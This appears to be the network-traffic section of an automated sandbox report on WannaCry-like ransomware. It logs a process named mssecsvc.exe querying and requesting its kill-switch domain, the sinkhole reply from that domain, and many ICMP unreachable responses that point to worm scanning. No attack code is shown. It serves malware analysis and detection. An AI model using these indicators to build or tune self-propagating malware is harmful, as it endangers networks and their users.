Jul 21, 2022 04:36:21.923536062 CEST	61.94.4.114	192.168.2.6	1d7c	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:36:23.991385937 CEST	217.80.27.60	192.168.2.6	f0ae	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:25.102962971 CEST	87.159.127.68	192.168.2.6	215	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:26.411150932 CEST	80.21.75.30	192.168.2.6	eb22	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:28.458090067 CEST	82.83.216.201	192.168.2.6	e95d	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:31.990525007 CEST	197.221.169.21	192.168.2.6	f0c0	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:33.983196020 CEST	207.180.242.69	192.168.2.6	81cc	(Port unreachable)	Destination Unreachable
Jul 21, 2022 04:36:34.114840984 CEST	165.90.191.105	192.168.2.6	3b22	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:35.060034990 CEST	207.180.242.70	192.168.2.6	81c3	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:35.242957115 CEST	217.250.61.58	192.168.2.6	5c6f	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:41.733120918 CEST	213.190.94.129	192.168.2.6	34a0	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:41.805717945 CEST	200.248.176.6	192.168.2.6	9470	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:45.111669064 CEST	129.203.112.1	192.168.2.6	3db	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:46.920831919 CEST	207.180.242.79	192.168.2.6	81cf	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:46.921992064 CEST	190.98.231.68	192.168.2.6	e7e0	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:48.000319004 CEST	190.98.231.69	192.168.2.6	80df	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:49.849608898 CEST	178.10.240.185	192.168.2.6	a90f	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:50.135726929 CEST	190.98.231.71	192.168.2.6	8cdf	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:51.052829981 CEST	63.251.152.89	192.168.2.6	38cd	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:51.192641973 CEST	190.98.231.72	192.168.2.6	e7df	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:51.912357092 CEST	189.211.62.41	192.168.2.6	ae0	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:52.081835985 CEST	10.12.1.14	192.168.2.6	3bc1	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:52.291311026 CEST	190.98.231.73	192.168.2.6	cedf	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:53.116404057 CEST	188.1.231.30	192.168.2.6	162	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:36:54.270749092 CEST	97.73.65.21	192.168.2.6	1719	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:36:54.408601046 CEST	207.180.242.86	192.168.2.6	81d6	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:55.316636086 CEST	81.228.83.35	192.168.2.6	d6a0	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:36:55.581334114 CEST	204.50.128.222	192.168.2.6	4bbe	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:55.698564053 CEST	178.157.61.101	192.168.2.6	afcd	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:56.593981981 CEST	190.98.231.77	192.168.2.6	96df	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:58.717406034 CEST	190.98.231.79	192.168.2.6	80e0	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:59.080362082 CEST	10.20.1.3	192.168.2.6	4b72	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:01.485954046 CEST	62.115.33.119	192.168.2.6	81cb	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:02.031106949 CEST	62.115.33.119	192.168.2.6	81d1	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:04.032043934 CEST	190.98.231.84	192.168.2.6	92df	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:04.241115093 CEST	62.115.171.181	192.168.2.6	81d7	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:05.164524078 CEST	207.180.242.96	192.168.2.6	81e0	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:06.724823952 CEST	10.103.25.38	192.168.2.6	bec9	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:37:07.710836887 CEST	24.112.254.225	192.168.2.6	935d	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:09.862808943 CEST	93.211.156.12	192.168.2.6	f09d	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:10.201785088 CEST	203.80.229.83	192.168.2.6	be8	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:11.555147886 CEST	190.98.231.88	192.168.2.6	eae9	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:12.627758980 CEST	190.98.231.89	192.168.2.6	eaeb	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:13.384793997 CEST	79.236.254.142	192.168.2.6	6a6d	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:13.558105946 CEST	65.121.132.130	192.168.2.6	c9e7	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:37:14.414922953 CEST	62.115.171.181	192.168.2.6	81d5	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:14.832720041 CEST	190.98.231.91	192.168.2.6	eae5	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:15.859210014 CEST	207.180.242.106	192.168.2.6	81e7	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:16.397917986 CEST	62.115.33.119	192.168.2.6	81e1	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:16.747694016 CEST	5.231.151.60	192.168.2.6	26de	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:17.002021074 CEST	190.98.231.93	192.168.2.6	eee8	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:18.066637993 CEST	190.98.231.94	192.168.2.6	eaea	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:18.470030069 CEST	221.133.43.14	192.168.2.6	bb92	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:18.894663095 CEST	85.38.36.102	192.168.2.6	63c0	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:20.140599012 CEST	181.15.49.241	192.168.2.6	ce5d	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:23.285840988 CEST	84.182.26.221	192.168.2.6	a00e	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:23.755939007 CEST	172.16.251.74	192.168.2.6	2220	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:24.382558107 CEST	24.124.227.66	192.168.2.6	a4d9	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:31.326073885 CEST	81.228.85.155	192.168.2.6	512c	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:32.493019104 CEST	77.179.47.177	192.168.2.6	cd8f	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:34.832146883 CEST	62.115.33.119	192.168.2.6	81e8	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:38.583429098 CEST	81.171.143.203	192.168.2.6	1c1	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:40.520503044 CEST	81.228.88.1	192.168.2.6	7405	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:41.533698082 CEST	149.11.89.129	192.168.2.6	8ae4	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:37:46.262433052 CEST	202.169.224.22	192.168.2.6	6af9	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:46.886661053 CEST	93.157.73.242	192.168.2.6	a6e3	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:48.750629902 CEST	62.115.33.119	192.168.2.6	81f5	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:52.516401052 CEST	91.65.200.16	192.168.2.6	394f	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:52.518385887 CEST	84.59.80.239	192.168.2.6	b588	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:53.843708992 CEST	125.19.134.225	192.168.2.6	baa3	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:54.475097895 CEST	80.81.0.218	192.168.2.6	8b3e	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:54.527704954 CEST	207.180.242.133	192.168.2.6	8202	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:55.609806061 CEST	32.132.101.174	192.168.2.6	b360	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:37:56.066274881 CEST	125.18.13.137	192.168.2.6	cbce	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:56.129470110 CEST	10.199.1.2	192.168.2.6	1abe	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:37:57.747337103 CEST	207.180.242.136	192.168.2.6	8208	(Unknown)	Destination Unreachable
Jul 21, 2022 04:37:58.183073044 CEST	74.201.172.25	192.168.2.6	b6ad	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:02.240355015 CEST	51.75.52.17	192.168.2.6	bdf0	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:02.821687937 CEST	92.203.121.225	192.168.2.6	968a	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:03.681653976 CEST	149.11.89.129	192.168.2.6	3cb5	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:38:04.169410944 CEST	207.180.242.142	192.168.2.6	820e	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:06.312299013 CEST	207.180.242.144	192.168.2.6	8210	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:10.282672882 CEST	45.44.103.77	192.168.2.6	2540	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:38:10.507388115 CEST	50.242.148.249	192.168.2.6	e514	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:13.746608019 CEST	149.11.89.129	192.168.2.6	a7d9	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:38:13.814677000 CEST	207.180.242.151	192.168.2.6	8217	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:14.882836103 CEST	213.106.236.214	192.168.2.6	a6c2	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:14.899267912 CEST	157.161.254.146	192.168.2.6	d94d	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:38:14.991293907 CEST	62.115.33.119	192.168.2.6	8206	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:17.135699034 CEST	62.115.33.119	192.168.2.6	8216	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:18.232209921 CEST	46.87.43.54	192.168.2.6	85b5	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:21.660536051 CEST	153.92.2.224	192.168.2.6	d60e	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:22.993498087 CEST	62.115.171.181	192.168.2.6	8227	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:38:26.039591074 CEST	84.59.125.20	192.168.2.6	703a	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:27.754164934 CEST	207.180.242.164	192.168.2.6	8224	(Unknown)	Destination Unreachable
Jul 21, 2022 04:38:28.188740015 CEST	64.62.200.82	192.168.2.6	ee28	(Host unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 21, 2022 04:33:52.163038969 CEST	192.168.2.6	8.8.8.8	0x1df2	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:54.084861994 CEST	192.168.2.6	8.8.8.8	0xac7a	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:55.396179914 CEST	192.168.2.6	8.8.8.8	0x5ebf	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jul 21, 2022 04:33:52.182034969 CEST	8.8.8.8	192.168.2.6	0x1df2	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.16.173.80	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:52.182034969 CEST	8.8.8.8	192.168.2.6	0x1df2	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.17.244.81	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:54.104187965 CEST	8.8.8.8	192.168.2.6	0xac7a	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.16.173.80	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:54.104187965 CEST	8.8.8.8	192.168.2.6	0xac7a	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.17.244.81	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:55.416625023 CEST	8.8.8.8	192.168.2.6	0x5ebf	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.16.173.80	A (IP address)	IN (0x0001)
Jul 21, 2022 04:33:55.416625023 CEST	8.8.8.8	192.168.2.6	0x5ebf	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.17.244.81	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

ris.api.iris.microsoft.com

sls.update.microsoft.com

www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49722	20.82.209.183	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49723	20.82.209.183	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	50207	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	59616	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	64946	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	65197	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	65198	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	65323	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49765	104.16.173.80	80	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:52.283514023 CEST	961	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	104.16.173.80	80	192.168.2.6	49765	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:52.319271088 CEST	962	IN	HTTP/1.1 200 OK Date: Thu, 21 Jul 2022 02:33:52 GMT Content-Type: text/html Content-Length: 607 Connection: close Server: cloudflare CF-RAY: 72e088c5cd0f5c02-FRA Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49768	104.16.173.80	80	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:54.169351101 CEST	1012	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	104.16.173.80	80	192.168.2.6	49768	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:54.200995922 CEST	1018	IN	HTTP/1.1 200 OK Date: Thu, 21 Jul 2022 02:33:54 GMT Content-Type: text/html Content-Length: 607 Connection: close Server: cloudflare CF-RAY: 72e088d19ee69b28-FRA Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49784	104.16.173.80	80	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:55.484580994 CEST	1019	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	50209	204.79.197.200	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	104.16.173.80	80	192.168.2.6	49784	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
Jul 21, 2022 04:33:55.523144007 CEST	1020	IN	HTTP/1.1 200 OK Date: Thu, 21 Jul 2022 02:33:55 GMT Content-Type: text/html Content-Length: 607 Connection: close Server: cloudflare CF-RAY: 72e088d9c8b0bbb0-FRA Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	50208	204.79.197.200	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	50269	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	50291	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	50326	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	50332	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	50429	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	50431	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	50548	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

